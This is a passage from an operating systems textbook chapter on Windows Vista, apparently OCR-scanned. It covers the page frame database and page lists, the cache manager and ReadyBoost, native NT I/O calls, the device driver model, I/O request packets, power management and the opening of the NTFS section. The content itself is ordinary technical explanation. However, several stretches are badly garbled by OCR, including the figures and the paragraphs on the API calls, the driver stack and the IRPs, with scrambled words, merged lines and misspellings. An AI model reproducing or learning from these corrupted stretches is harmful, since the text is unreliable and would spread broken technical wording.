to keep from overloading the system. It also monitors the writing of pages on the 
modified list to disk to be sure that the list does not grow too large, waking the 
ModifiedPageWriter thread as needed. 

Physical Memory Management 

Above we mentioned three different lists of physical pages, the free list, the 
standby list, and the modified list. There is a fourth list which contains free pages 
that have been zeroed. The system frequently needs pages that contain all zeros. 
When new pages are given to processes, or the final partial page at the end of a 
file is read, a zero page is needed. It is time-consuming to write a page with 
zeros, so it is better to create zero pages in the background using a low-priority 
thread. There is also a fifth list used to hold pages that have been detected as hav
ing hardware errors (i.e., through hardware error detection). 

All pages in the system are either referenced by a valid page table entry or are 
on one of these five lists, which are collectively _called the Page Frame Number 
Database (PFN database). Fig. 11-35 shows the structure of the PFN Database. 
The table is indexed by physical page frame number. The entries are fixed length, 
but different formats are used for different kinds of entries (e.g., shared versus pri
vate). Valid entries maintain the page's state and a count of how many page 
tables point to the page, so that the system can tell when the page is no longer in 
use. Pages that are in a working set tell which entry references them. There is 
also a pointer to the process page table that points to the page (for nonshared 
pages), or to the prototype page table (for shared pages). 
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Additionally there is a link to the next page on the list (if any), and various 
other fields and flags, such as read in progress, write in progress, an so on. To 
save space, the lists are linked together with fields referring to the next element by 
its index within the table rather than pointers. The table entries for the physical 
pages are also used to summarize the dirty bits found in the various page ta�le en
tries that point to the physical page (i.e., because of shared pages). There IS also 
information used to represent differences in memory pages on larger server sys
tems which have memory that is faster from some processors than from others, 
namely NUMA machines. 

Page frame database Page tables 
State Cnt WS Other PT Next 

14 
13 

List headers 12 
1 1  

Standby r----- 10 

Clean -- ---X IS 0; X 
Clean F0 Active 20 ---- --
Clean 

9 
8 

Ok ') Active 4 
Modjfied I---->- 7 Dirty 

6 
Free I---->- 5 

4 
3 

Free X) 
Free 
Zeroed \) Active 6 

2 
1 

Zeroed I---->- 0 

Zeroed 
Active 14 LJ Zeroed 

Figure 1l�35. Some of the major fields in the page frame database for a valid 
page. 

Pages are moved between the working sets and the various lists by the work
ing-set manager and other system threads. Let us examine the transitions. When 
the working set manager removes a page from a working set, the page goes on the 
bottom of the standby or modified list, depending on its state of cleanliness. This 
transition is shown as (1) in Fig. 1 1-36. 

Pages on both lists are still valid pages, so if a page fault occurs and one of 
these pages is needed, it is removed from the list and faulted back into the work
ing set without any disk IIO (2). When a process exits, its nonshared pages cannot 
be faulted back to it, so the valid pages in its page table and any of its pages on 
the modified or standby lists go on the free list (3). Any pagefile space in use by 
the process is also freed. 

Other transitions are caused by other system threads. Every 4 seconds the 
balance set manager thread runs and looks for processes all of whose threads have 
been idle for a certain number of seconds. If it finds any such processes, their 
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z d d (8) ero page nee e 
" 

working\ Page referenced (6) 1 Sets Soft page fault (2) = = Modified Standby Free = page Modified page 
Oealloc page = list list list Zero 

page (5) page =) T writer thread 
(4) } f (7) 

Page eVicted from an working sets (1) Process Exit (3) 

Figure 11�36. The various page lists and the transitions between them. 
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page 
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kernel stacks are unpinned from physical memory and their pages are moved to 
the standby or modified lists, also shown as (1). 

Two other system threads, the mapped page writer and the modified page 
writer, wake up periodically to see if there are enough clean pages. If there are 
not, they take pages from the top of the modified list, write them back to disk, and 
then move them to the standby list (4). The former handles writes to mapped files 
and the latter handles writes to the pagefiles. The result of these writes is to trans
form modified (dirty) pages into standby (clean)-pages. 

The reason for having two threads is that a mapped file might have to grow as 
a result of the write, and growing it requires access to on-disk data structures to 
allocate a free disk block. If there is no room in memory to bring them in when a 
page has to be written, a deadlock could result. The other thread can solve the 
problem by writing out pages to a paging file, 

The other transitions in Fig. 1 1-36 are as follows. If a process unmaps a page, 
the page is no longer associated with a process and can go on the free list (5), ex
cept for the case that it is shared. When a page fault requires a page frame to hold 
the page about to be read in, the page frame is taken from the free list (6), if pos
sible. It does not matter that the page may still contain confidential information 
because it is about to be overwritten in its entirety. 

The situation is different when a stack grows. In that case, an empty page 
frame is needed and the security rules require the page to contain all zeros. For 
this reason, another kernel system thread, the ZeroPage thread, runs at the 
lowest priority (see Fig. 1 1 -28), erasing pages that are on the free list and putting 
them on the zeroed page list (7). Whenever the CPU is idle and there are free 
pages, they might as well be zeroed since a zeroed page is potentially mOre useful 
than a free page and it costs nothing to zero the page when the CPU is idle. 
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The existence of all these lists leads to some subtle policy choices. Fo: e�

ample, suppose that a page has to be brought in from
. 
disk and the free lIst IS 

ty The system is now forced to choose between taking a clean page from the 
emp . k · l )  t 
standby list (which might otherwise have been faulted bac III ate� or an

, 
em� y 

page from the zeroed page list (throwing away the work done III zeromg It). 

Which is better? 
The memory manager has to decide how aggressiv�ly the �ystem threads 

should move pages from the modified list to the s�andby lIst. Havmg clea� pages 

around is better than having dirty pages around (smce they can be reused .mstant� 

ly), but an aggressive cleaning policy means more di
.
sk IIO and

, 
there IS son:e 

chance that a newly cleaned page may be faulted back mto a w?rking set and dIr

tied again anyway. In general, Windows 
.
reso�ves these kIllds of trade-offs 

through algorithms, heuristics, guesswork,
. 

hlstOflcal precedent, rules of thumb, 

and administrator-controlled parameter settmgs. . 
All in all, memory management is a highly. c?mplex executIVe component 

with many data structures, algorithms, and heunstlcs. It attempts to be largely 

self tuning, but there are also many knobs that administrator� can tweak to affect 

system performance. A number of these knobs a�d the ass?clated counters can be 
. d uSl·nO tools in the various tool kits mentIoned earher. Probably the most 

Vlewe 0 . '  
important thing to reme�ber her� is that n:emor� management 

.
m real systems IS a 

lot more than just one SImple pagmg algonthm lIke clock or agmg. 

11.6 CACHING IN WINDOWS VISTA 

The Windows cache improves the performance of file systems by keepin? 

recently and frequently used regions of files in memory. Rather than c�che phYSI

cal addressed blocks from the disk, the cache manager manag�s vrrtually ad

dressed blocks, that is, regions of files. This approach fits well With the structure 

of the native NT File System (NTFS), as we will see in Sec. 1 1 .8. NTFS stores 

all of its data as files, including the file system metadata. . 
The cached regions of files are called views because they represent regIOns of 

k el virtual addresses that are mapped onto file system files. Thus the actual r::agement of the physical memory in. the cache is provided by the 
.
memory 

aaer The role of the cache manaver IS to manage the use of kernel VIrtual ad
man o ' 

0 . ' h ' }  
dresses for views, arrange with the memory manager to pm pages m p YSlca 

memory, and provide interfaces for the file systems. 

The Windows cache manager facilities are shared among all the file systems. 

Because the cache is virtually addressed according to individ�al files, the cache 

manager is easily able to perform read-ahead on � per-file b�SIS .. Request� to ac

ess cached data come from each file system. VIrtual cachmg IS convement be�ause the file systems do not have to first translate file offsets into physical block 
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numbers before requesting a cached file page. Instead the translation happens 
later when the memory manager calls the file system to access the page on the 
disk. 

Besides management of the kernel virtual address and physical memory re
sources used for caching, the cache manager also has to coordinate with file sys
tems regarding issues like coherency of views, flushing to disk, and correct 
maintenance of the end-of-file marks-particularly as files expand. One of the 
most difficult aspects of a file to manage between the file system, the cache man
ager, and the memory manager is the offset of the last byte in the file. called the 
ValidDataLength. If a program writes past the end of the file, the blocks that 
were skipped have to be filled with zeros, and for security reasons it is critical that 
the ValidDataLength recorded in the file metadata not allow access to un initialized 
blocks, so the zero blocks have to be written to disk before the metadata is 
updated with the new length. While it is expected that if the system crashes. some 
of the blocks in the file might not have been updated from memory, it is not ac
ceptable that some of the blocks might contain data previously belonging to other 
files. 

Let us nOw examine how the cache manager works. When a file is refer
enced, the cache manager maps a 256-KB chunk of kernel virtual address space 
onto the file. If the file is larger than 256 KB, only a portion of the fil� is mapped 
at a time. If the cache manager runs out of 256-KB chunks of virtual address 
space, it must unmap an old file before mapping in a new one. Once a file is map
ped, the cache manager can satisfy requests for its blocks by just copying from 
kernel virtual address space to the user buffer. If the block to be copied is not in 
physical memory, a page fault will OCcur and the memory manager will satisfy the 
fault in the usual way. The cache manager is not even aware of whether the block 
was in memory or not. The copy always succeeds. 

The cache manager also works for pages that are mapped into virtual memory 
and accessed with pointers rather than being copied between kernel and user
mode buffers. When a thread accesses a virtual address mapped to a file and a 
page fault occurs, the memory manager may in many cases be able to satisfy the 
access as a soft fault. It does not need to access the disk because it finds that the 
page is already in physical memory because it is mapped by the cache manager. 

Caching is not appropriate for all applications. Large enterprise applications, 
like SQL, prefer to manage their own caching and I/O. Windows allows files to 
be opened for unbuffered I/O which bypasses the cache manager. Historically, 
such applications would rather trade off operating systems caching for an 
increased user-mode virtual address space, so the system supports a configuration 
where it can be rebooted to provide 3 GB of user-mode address space to applica
tions that request it, using only 1 GB for kernel mode instead of the conventional 
2-GB/2-GB split. This mode of operation (called 13GB mode after the boot 
switch that enables it) is not as flexible as in some operating systems, which allow 
the userlkemel address space split to be adjusted with far more granularity. When 
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Windows runs in 13GB mode, only half the number of kernel virtual addresses are 
available. The cache manager adjusts by mapping far fewer files, which is what 
SQL would prefer anyway. 

Windows Vista introduced a brand flew form of caching in the system, called 
ReadyBoost, which is distinct from the cache manager. Users can plug flash 
memory sticks into USB or other ports and arrange for the operat�ng system to use 
the flash memory as a write-through cache. The flash memory mtroduces a new 
layer in the memory hierarchy, which is particularly useful for increasing the 
amount of read-caching of disk data that is possible. Reads from flash memory 
are relatively fast, though not as fast as the Dynamic RAM used for nonnal.mem
ory. With flash being relatively inexpensive versus high-speed DRAM, thIS fea
ture in Vista allows the system to get higher performance with less DRAM-and 
all without having to open the computer's case. 

ReadyBoost compresses the data (typically 2x) and encrypts it. The imple
mentation uses a filter driver that processes the 1/0 requests sent to the volume 
manager by the file system. Similar technology, named Read!Boot, is used to 
speed up boot-time on some Windows Vista systems by cachmg data to flash. 
These technologies have less impact on systems with 1 GB or more of DRAM. 
Where they really help is on systems trying to run Windows Vista with only 512 
MB of DRAM. Near 1 GB the system has enough memory that demand paging is 
infrequent enough that disk I/O can keep up for most usage scenarios. 

The write-through approach is important to T?inimize data loss should a .flash 
stick be unplugged, but future PC hardware may mcorporate flash memory duect
ly on the parentboard. Then the flash can be used without write-through, allow.ing 
the system to cache critical data that needs to persist across a system crash wIth
out having to spin up the disk. This is good not just for performance, but also to 
reduce power consumption (and thus increase battery life on notebooks) because 
the disk is spinning less. Some notebooks today go all the way and eliminate an 
electromechanical disk altogether, instead using lots of flash memory. 

11.7 INPUT/OUTPUT IN WINDOWS VISTA 

The goals of the Windows I/O manager are to provide a fundamentally exten
sive and flexible framework for efficiently handling a very wide variety of I/O de
vices and services, support automatic device discovery and driver installation 
(plug-and-play) and power management for devices and the CPU-all using a 
fundamentally asynchronous structure that allows computation to overlap with JJO 
transfers. There are many hundreds of thousands of devices that work with Win
dows Vista. For a large number of common devices it is not even necessary to 
install a driver, because there is already a driver that shipped with the Windows 
operating system. But even so, counting all the revisions, there are almost a mil
lion distinct driver binaries that run on Windows Vista. In the following sections 
we will examine some of the issues relating to lIO. 
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. �e I/O �anager is on intimate terms with the plug-and-play manager. The ?aSIC Idea behmd plug and play is that of an enumerable bus. Many buses, includmg PC Card, PCl, PCI-x, AGP, USB, IEEE 1394, EIDE, and SATA, have been deSIgned so that the plug-and-play manager can send a request to each slot and ask the device there to identify itself. Having discovered what is out there, the plug-and-play man�ger a�locates hardware resources, such as interrupt levels, locates the �ppropn�te d
.
nvers, and loads them into memory. As each driver is loa�ed, a �nv�r object IS created for it. And then for each device, at least One deVIce object 

.
IS allocated. For some buses, such as SCSI, enumeration happens only. �t boot time, but f�r other buses, such as USB, it can happen at any time, reql�mng close cooperatIOn between the plug-and-play manager, the bus drivers (WhICh a�tually do the enumerating), and the 110 manager. 

In Wmdows, all the file systems, antivirus filters, volume managers, network protocol stacks, and even kernel services that have no associated hardware are implemented .using I/O drivers. The system configuration must be set to cause SOme of these dnvers to load, because there is no associated device to enumerate on the bus. Others, like the file systems, are loaded by special code that detects they are needed, such as the file system recognizer that looks at a raw volume and deci
phers what type of file system format it contains. 
. 

An interesting feature of Windows is its support for dynamic disks. These dISks may span m�Itiple partition� and even multiple disks and may be reconfigured On the fly, WIthout even havlflg to reboot. In this way, logical volumes are no longer constrained to a single partition or even a single disk so that a sin vIe file system may span multiple drives in a transparent way. 
J::> 

The 110 to volumes can be filtered by a special Windows driver to produce 
Vo�ume Shadow Copies. The filter driver creates a snapshot of the volume ,:hlCh can be separately mounted and represents a volume at a previous point in tIme. It does this by keeping track of changes after the snapshot point. This is very �on.venient for recovering files that were accidentally deleted, Or traveling back m Hme to see t�e state of a file at periodic snapshots made in the past. 

But shadow copIes are also valuable for making accurate backups of server systems. The system works with server applications to have them reach a convenient point for making a clean backup of their persistent state on the volume. Once all the applications are ready, the system initializes the snapshot of the volume and then tells the appli?ations that they can continue. The backup is made of the volume state at the p.omt of the snapshot And the applications were only blocked for a very short tIme rather than having to go offline for the duration of the backup_ ,?-pplications particip.ate in the snapshot process, so the backup reflects a state 
th�t IS �asy to recover m case there is a future failure. Otherwise the backup 
mIght still be useful, but the state it captured would look more like the state if the 
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system had crashed. Recovering from a system at the point of a crash can be 

more difficult or even impossible, since crashes occur at arbitrary times in the ex

ecution of the application. Murphy's Law says that crashes are most likely to oc

cur at the worst possible time, that is, when the application data is in a state where 

recovery is impossible. 
Another aspect of Windows is its support for asynchronous I/O. It is possible 

for a thread to start an I/O operation and then continue executing in parallel with 

the lIO. This feature is especially important on servers. There are various ways 

the thread can find out that the I/O has completed. One is to specify an event ob

ject at the time the call is made and then wait on it eventually. Another is to spec

ify a queue to which a completion event will be posted by the system when the 

I/O is done. A third is to provide a callback procedure that the system calls when 

the I/O has completed. A fourth is to poll a location in memory that the I/O man

ager updates when the I/O completes. 
The final aspect that we will mention is prioritized I/O, which was introduced 

in Windows Vista. I/O priority is determined by the priority of the issuing thread, 

or can be explicitly set. There are five priorities specified: critical, high, normal, 

[ow, and very low. Critical is reserved for the memory manager to avoid dead

lockS that could otherwise occur when the system experiences extreme memory 

pressure. Low and very low priorities are used by background processes, like the 

disk defragmentation service and spyware scanners and desktop search, which are 

attempting to avoid interfering with normal operations of the system. Most I/O 

gets normal priority, but multimedia applications can mark their I/O as high to 

avoid glitches. Multimedia apps can alternatively use bandwidth reservation to 

request guaranteed bandwidth to access time-critical files, like music or video. 

The I/O system will provide the application with the optimal transfer size and the 

number of outstanding I/O operations that should be maintained to allow the I/O 

system to achieve the requested bandwidth guarantee. 

11.7.2 Input/Output API Calls 

The system call APIs provided by the lIO manager are not very different from 
those offered by most operating systems. The basic operations are open, read, 
write, ioctl, and close, but there are also plug-and-play and power operations, oper
ations for setting parameters, flushing system buffers, and so on. At the Win32 
layer these APIs are wrapped by interfaces that provide higher-level operations 
specific to particular devices. At the bottom though, these wrappers open devices 
and perform these basic types of operations. Even some metadata operations, 
such as file rename, are implemented without specific system calls. They just use 
a special version of the ioctl operations. This will make more sense when we 
explain the implementation of 1/0 device stacks and the use of I/O request packets 
(IRPs) by the IIO manager. 

1 
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I/O system call Description 

NtCreateFHe Open new or existing files or devices 

NtReadFile Read from a file or device 

NtWriteFile Write to a file or device 

NtQueryDirectoryFi!e Request information about a directory, including files 

NtQueryVolumelnformationFile Request information about a volume 

NtSetVolumelnformationFlle Modify volume information 

NtNotifyChangeDirectoryFile Complete when any file in the directory or sub-tree is modified 

NtQuerylnformationFile Request information about a file 

NtSetlnformationFile Modify file information 

NtLockFile Lock a range of bytes in a file 

NtUnlockFile Remove a range lock 

NtFsControlFile Miscellaneous operations on a file 

NtFlushBuffersFlIe Flush in-memory file buffers to disk 

NtCancelloFi!e Cancel outstanding I/O operations on a file 

NtDeviceloControlFlle Special operations on a device 

Figure 11-37. Native NT API calls for perfonning I/O. 

W' !he nat�e NT I/O system calls, in keeping with the general philosophy of 

liS�� t�:s'
ri
t e numerous pa:ameters, and include many variations. Fig. 1 1 -37 

to 
P . u:ary system call mterfaces to the I/O manager. NtCreateFile is used 

d 
op�n .exIstmg or new files. It provides security descriptors for new files a rich 

escnptIon of the access rights requested, and gives the creator of new file� some ��n�
l
ol �v� how blocks will be allocated. NtReadFile and NtWriteFile take a file 

n e, u. er, and length. They also take an explicit file offset and allow a ke 
to be speCIfied for accessing 10c1:ced ranues of bytes in the file ' M t f th Y 
ra:eters are related to specifying which �f the different method; to ::e :or re�;�: 
me completlO� of the (pOSSIbly asynchronous) I/O, as described above 

whe 
NtQue.ryDlrectoryFile is an

, 
exampJe of a standard paradigm in the executive 

t 
re van�us Query �Is e�ls� to access or modify information about s ecific 

t
�;� �:

i
�bJects. In thIS case It IS file objects that refer to directories. A p�rame-

p 
. 

les what type of mformatIOn IS being requested such as a list of the 
name� m �e directo? ?r deta.iled information about each file that is needed for an 
exten ed dIrectory hstmg. Smce this is really an I/O operation all the standard 

�:ri�n�l 
re�or�ing that . the I/O completed are supported. NtQ�eryvolumelnfor-

I e IS lIke the dIrectory query operation, but expects a file handle which �epr��ents � open volume which may or may not contain a file system Unlike 
or l:ectones, there are parameters than can be modified on volumes 

'
and thus 

there IS a separate API NtSetVo!umelnformationFile. 
' 
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NtNotifyChangeDirectoryFile is an example of an interesting �T paradi?m. 
Threads can do I/O to determine whether any changes occur to objects (mamly 
file system directories, as in this case, or registry keys). Because the I/O is asyn
chronous the thread returns and continues, and is only notified later when some
thinO" is modified. The pending request is queued in the file system as an out
standing I/O operation using an I/O Request Packet (IRP). Notifications are prob
lematic if you want to remove a file system volume from the system, ?ecause �he 
I/O operations are pending. So Windows supports facilitie� for c.

ancelm� pendmg 
I/O operations, including support in the file system for forcIbly dlsmountmg a vol-
ume with pending 110. 

. NtQuerylnformationFHe is the file-specific version of the system :a11 for dIrec
tories. It has a companion system call, NtSetlnformationFile. These lfiterfa�es ac
cess and modify all sorts of information about file names, file features h�e �n
cryption and compression and sparseness, and other file 

.
attrib�tes and detmls,. 

m
cluding looking up the internal file id or assigning a umque bmary name (obJect 
id) to a file. 

These system calls are essentially a form of ioctl specific to files. The set op
eration can be used to rename or delete a file. But note that they take handles, not 
file names, so a file first must be opened before being renamed or deleted. They 
can also be used to rename the alternative data streams on NTFS (see Sec. 11 .8). 

Separate APls, NtLockFile and NtUnlockFile exist to set and remove ?yte
range locks on files. NtCreateFHe allows access to an entire fi�e to be restrlcted 
by using a sharing mode. An alternative is these lock APIs, whIch �pply manda
tory access restrictions to a range of bytes in the file. Reads and wntes must sup
ply a key matching the key provided ·to NtLockFile in order to operate on the 
locked ranges. 

Similar facilities exist in UNIX, but there it is discretionary whether applica
tions heed the range locks. NtFsControlFile is much like the preceding Qu�ry and 
Set operations, but is a more generic operation aimed at handling fi1e-spe�lfic op
erations that do not fit within the other APls. For example, some operatIons are 
specific to a particular file system. 

. . Finally, there are miscellaneous calls such as Nt:lushBuffersFII� . Like the 
UNIX sync call, it forces file system data to be wntten back to dISk, NtCan� 
celloFile to cancel outstanding I/O requests for a particular file, and NtDe� 
viceloControlFile which implements ioet! operations for devices. The list of opera
tions is actually much longer. There are system calls for deleting files by name, 
and querying the attributes of a specific file-but these are just wrappers aro�nd 
the other JJO manao-er operations we have listed and did not really need to be Im
plemented as separ�te system calls. There are also system calls for dea�ing with 
I/O completion ports, a queuing facility in Windows that helps multithreaded 
servers make efficient use of asynchronous 110 operations by readying threads by 
demand and reducing the number of context switches required to service I/O on 
dedicated threads. 
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The Windows I/O system consists of the plug-and-play services, the power 
manager,. the 110 manager, and the device driver model. Plug-and-play detects 
changes �n hardware configuration and builds or tears down the device stacks for 
each deVIce, as w�ll. as causing the loading and unloading of device drivers. The 
power m�nager adjusts .the power st�te of the lIO devices to reduce system power 
cons

.umpt�on when deVices .are not III use. The 110 manager provides support for 
manlpulatmg I/O kernel objects, and IRP-based operations like 10CallOrivers and �oCompleteRequest But most of the work required to support Windows I/O is 
Implemented by the device drivers themselves. 

Device Drivers 

. 
To make sure

. 
that device drivers work well with the rest of Windows Vista, 

MIcrosoft has defmed the WDM (Windows Driver Model) that device drivers 
are expected to confonn with. The WDM was designed to work with both Win
dows 9� and N.T -based Windows beginning with Windows 2000, allowing care
f�lly wntt�n dnvers !O be c.ompati�le wi!h both systems. There is a development 
kit (the WI.ndows Dnver KIt) that IS deSIgned to help driver writers produce Con
formant dnvers. Most Windows drivers start out by copying an appropfiate sam
ple driver and modifying it. �icrosoft also provides a driver verifier which validates many of the actions 
of dnvers to be sure that they conform to the WDM requirements for the structure 
an? pro�ocols for I/O requests, memory management, and so on. The verifier 
Shl�S WIth the system, and administrators can control it by running verifier.exe, 
WhICh allows them to configure which drivers are to be checked and how exten
sive (i.e., expensive) the checks should be. 

Ev�n with all t?e support for driver development and verification, it is still 
very dIfficult to wnte even simple drivers in Windows, so Microsoft has built a 
system of wrappers called the WDF (Windows Driver Foundation) that runs on 
top of WDM a�d simplifies many of the more common requirements, mostly re
lated to correct l�ter�ction 

.
with po

.
v:er management and plug-and-play operations. 

To further sImpltfy dnver wntmg, as well as increase the robustness of the 
sy�tem, WDP �ncludes the U�F (User-Mode Driver Framework) for writing 
dnvers as

. 
serVIces that execute In processes. And there is the KMDF (Kernelw 

Mode DrIver Framework) for writing drivers as services that execute in the ker
�el, but with many of the details of WDM made automagical. Since underneath it 
IS t�e WDM that provides the driver model, that is what we will focus on in this 
section. 

Devices in Windows are represented by device objects. Device objects are 
�lso used to represent hardware, such as buses, as well as software abstractions 
lIke file systems, network protocol engines, and kernel extensions, like antivirus 
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filter drivers. All these are org�niz�d 
by producing what Windows calls a device 

k reviously shown m FIg. 1 1 -16. . API stac , as was p. . . . d b the lIO manager calling an executIve I/O operat.
lons �re InItiate y . b' eel and to the IRP representing the 

!oCaUoriver Wl
�� 

pom�ers �o :se�����:�c�b�e�t associated with the device object. 
I/O request. T IS rQutme In 

"fi d '  the IRP generally correspond to the I/O 
The operation types that are specl Ie ill h CREATE READ and CLOSE. 
manager system calls d

h
escri�e� ab�:e� ��� a a:ifiule level' of the device stack. For Fig. 1 1-38 shows t e re a�lOns Ip . '=' 

oint !oCallOriver takes 
each of th�se operations a dnver :�!t t��e���c:n o��:. it the' current level of the 
the operatlon type auth

of t
d
h� IRP'b' ct and indexes into the driver dispatch table d . stack to find t e flVer 0 �e , . Th 

��c�he operation type to find the corresponding entry point into the dnver. e 

;:iver is then caned and passed the device object and the IRP. 
Loaded device driver 

Device object 
Driver code 

Driver object 
Driver object 

Dispatch table - � Instance data I-- CREATE 
READ .. 
WRITE i Next device object FLUSH 
IOCTL 

CLEANUP 
CLOSE f..-.---" 

Figure 11*38. A single level in a device stack. 

Once a driver has finished processing th� reques.t repr
esented by the IR; d�� 

h three options. It can call 10CallDriver agam, passmg the IRP and the
l 
ne

� d �s . . e device stack It can declare the I/O request to be comp ete an 
Vice obJe�t 

III �� Or it can �ueue the IRP internally and return to its caller,. hav

�
e:U�e�7a�:dc�h:;·the 1/0 request is still pending. This lat�er case r�

ults tn a
� 

lfio hr 110 operation at least if all the drivers above m the stac agree an 
async onous , 
also retum to their callers. 

110 Request Packets 

Pi 1 1-39 shows the major fields in the IRP. The bottom of t�e IRP is a �y
. 
g, .  a containincr fields that can be used by each dnver for the . e��:l�:!� s�:��l: �he request These stack fields also allow a driver to specIfy 

• 
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the routine to call when completing an I/O request. During completion each level 
of the device stack is visited in reverse order, and the completion routine assigned 
by each driver is caned in turn. At each level the driver can continue to complete 
the request or decide there is still more work to do and leave the request pending, 
suspending the I/O completion for the time be·ing. 

Kernel bulfer address 

User buffer address 

Thread 

Flags 

Operation code 

Buffer pointers 

Memory descr list head 

Thread's IRP chain link 

Completion/cancel info 

Completion 
APC block 

Oliver 
queuing 
& comm. , ---------------r IRP Driver-Stack Data ] 1----------------

� _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  l 

Figure 11�39. The major fields of an I/O Request Packet. 

Next IRP 

When allocating an IRP, the I/O manager has to know how deep the particular 
device stack is so that it can allocate a sufficiently large IRP. It keeps track of the 
stack depth in a field in each device object as the device stack is formed. Note 
that there is no formal definition of what the next device object is in any stack. 
That information is held in private data structures belonging to the previous driver 
on the stack. In fact the stack does not really have to be a stack at all. At any 
layer a driver is free to allocate new IRPs, continue to use the original IRP, send 
an I/O operation to a different device stack, or even switch to a system worker 
thread to continue execution. 

The lRP contains flags, an operation code for indexing into the driver dispatch 
table, buffer pointers for possibly both kernel and user buffers, and a list of MDLs 
(Memory Descriptor Lists) which are used to describe the physical pages repres
ented by the buffers, that is, for DMA operations. There are fields used for can
cellation and completion operations. The fields in the IRP that are used to queue 
the IRP to devices while it is being processed are reused when the I/O operation 
has finally completed to provide memory for the APe control object used to call 
the I/O manager's completion routine in the context of the original thread, There 
is also a link field used to link all the outstanding IRPs to the thread that initiated 
them . 
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Device Stacks 

A driver in Windows Vista may do all the work by itself, as the pri�ter driver 
does in Fig. 1 1-40. On the other hand, drivers may also be stacked, which means 
that a request may pass through a sequence 

.
of �vers, each doing part of the 

work. Two stacked drivers are also illustrated m Fig. 1 1 *40. 

User process 
/ � program � 

I Rest 01 windows 

1 Filter 

I Function -I 1 Function 
--f t 

Monolithic 1 1 Bus I f Bus 

Hardware abstraction layer 

1 Controller 1 1  Controller I I  Controller 

1 1 + 

I 

I 

J 
1 
I 

1 

Driver 
stack 

Figure 11.40. Windows allows drivers to be stacked :0 wor� with a specific in
stance of a device. The stacking is represented by devlce objects. 

One common use for stacked drivers is to separate the bus management froI? 
the functional work of controlling the device. Bus management on the P

.
CI bus IS 

quite complicated on account of many kinds of modes and bus transactIOns. By 
separating this work from the device-specific part, driver writers are

. free� fro� 
learning how to control the bus. They can just use t?e stand�d bus driver III the�r 
stack. Similarly, USB and SCSI drivers have a devICe-specIfIc part

. 
and a genenc 

part, with common drivers being supplied by Window
,
s for the genen: part: 

Another use of stackinO" drivers is to be able to msert filter dnvers mto the 
stack, We have already 10�ked at the use of file system filter drivers, which are 

1 
-------------
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inserted above the file system. Filter drivers are also used for managing physical 
hardware, A filter driver performs some transformation on the operations as the 
IRP flows down the device stack, as well as during the completion operation with 
the IRP flows back up through the completion routines each driver specified. For 
example, a filter driver could compress data on the way to the disk or encrypt data 
on the way to the network, Putting the filter here means that neither the applica
tion program nor the true device driver have to be aware of it, and it works auto
matically for all data going to (or coming from) the device. 

Kernel-mode device drivers are a serious problem for the reliability and 
stability of Windows. Most of the kernel crashes in Windows are due to bugs in 
device drivers, Because kernel-mode device drivers all share the same address 
space with the kernel and executive layers, errors in the drivers can corrupt sys
tem data structures, or worse. -Some of these bugs are due to the astonishingly 
large numbers of device drivers that exist for Windows, or to the development of 
drivers by less experienced system programmers. The bugs are also due to the 
large amount of detail involved in writing a correct driver for Windows. 

The I/O model is powerful and flexible, but all I/O is fundamentally asynchro
nous, so race conditions can abound, Windows 2000 added the plug-and-play and 
power management facilities from the Win9x systems to the NT-based Windows 
for the first time, This put a large number of requirements on drivers to deal cor
rectly with devices coming and going while I/O packets are in the middle of being 
processed. Users of PCs frequently dock/undock devices, close the lid and toss 
notebooks into briefcases, and generally do not worry about whether the little 
green activity light happens to still be on. Writing device drivers that function 
correctly in this environment can be very challenging, which is why \Vindows 
Driver Foundation was developed to simplify the Windows Driver Model. 

The power manager rides herd on power usage throughout the system. His
torically management of power consumption consisted of shutting off the monitor 
display and stopping the disk drives from spinning, But the issue is rapidly 
becoming more complicated due to requirements for extending how long note
books can run on batteries, and energy conservation concerns related to desktop 
computers being left on all the time and the high cost of supplying power to the 
huge server farms that exist today (companies like Microsoft and Google are 
building their server farms next to hydroelectric facilities to get low rates). 

Newer power management facilities include redUCing the power consumption 
of components when the system is not in use by switching individual devices to 
standby states, or even powering them off completely using soft power switches. 
Multiprocessors shut down individual CPUs when they are. not,needed, and even 
the clock rates of the running CPUs can be adjusted downward to reduce power 
consumption. When a processor is idle, its power consumption is also reduced 
since it needs to do nothing except wait for an interrupt to occur. 

Windows supports a special mode of shutdown called hibernation which 
copies all of physical memory to disk and then reduces power consumption to a 
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small trickle (notebooks can run weeks in a hibernated state) with little battery 
drain. Because all the memory state is written to disk, you can even replace the 
battery on a notebook while it is hibernated. When the system reboots after hiber
nation it restores the saved memory state (and reinitializes the devices). This 
brings the computer back into the same state it was before hibernation, without 
having to logon again and start up all the applications and services that were run
ning. Even though Windows tries to optimize this process (including ignoring 
unmodified pages backed by disk already and compressing other memory pages to 
reduce the amount of 1/0 required), it can still take many seconds to hibernate a 
notebook or desktop system with gigabytes of memory. 

An alternative to hibernation is a mode called standby mode where the power 
manager redllces the entire system to the lowest power state possible, using just 
enough power to the refresh the dynamic RAM. Because memory does not need 
to be copied to disk, this is much faster than hibernation. But standby is not as 
reliable because work will be lost if a desktop system loses power, or the battery 
is swapped on a notebook, or due to bugs in various device drivers which reduce 
devices to low-power state but are then unable to reinitialize them. In developing 
Windows Vista, Microsoft expended a lot of effort improving the operation of 
standby mode, with the cooperation of many in the hardware device community. 
They also stopped the practice of allowing applications to veto the system going 
into standby mode (which sometimes resulted in superheated notebooks for inat
tentive users who tossed them in briefcases without waiting for the light to blink). 

There are many books available about the Windows Driver Model and . the 
newer Windows Driver Foundation (Cant, 2005; Oney, 2002; Orwick & Smith, 
2007; and Visearola et a1., 2007)_ 

11.8 THE WINDOWS NT FILE SYSTEM 

Windows Vista supports several file systems, the most important of which are 
FAT-16, FAT-32, and NTFS (NT File System)_ FAT-16 is the old MS-DOS file 
system. It uses 16-bit disk addresses, which limits it to disk partitions no larger 
than 2 GB. Mostly it is used to access floppy disks, for customers that still use 
them. FAT-32 uses 32�bit disk addresses and supports disk partitions up to 2 TB. 
There is no security in FAT-32, and today it is only really used for transportable 
media, like flash drives. NTFS is the file system developed specifically for the 
NT version of Windows. Starting with Windows XP it became the default file 
system installed by most computer manufacturers, greatly improving the security 
and functionality of Windows. NTFS uses 64-bit disk addresses and can (theoret
ically) support disk partitions up to 264 bytes, although other considerations limit 
it to smaller sizes. 

In this chapter we will examine the NTFS file system because it is a modem 
file system with many interesting features and design innovations. It is a large 
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and complex file system and space limita . features, but the material presented below tl��S f�ev.ent us from cove.ring all of its 
it. ou gIve a reasonable Impression of 

11.8.1 Fundamental Concepts 

Individual file names in NTFS are r .. limited to 32 767 characters F-I 
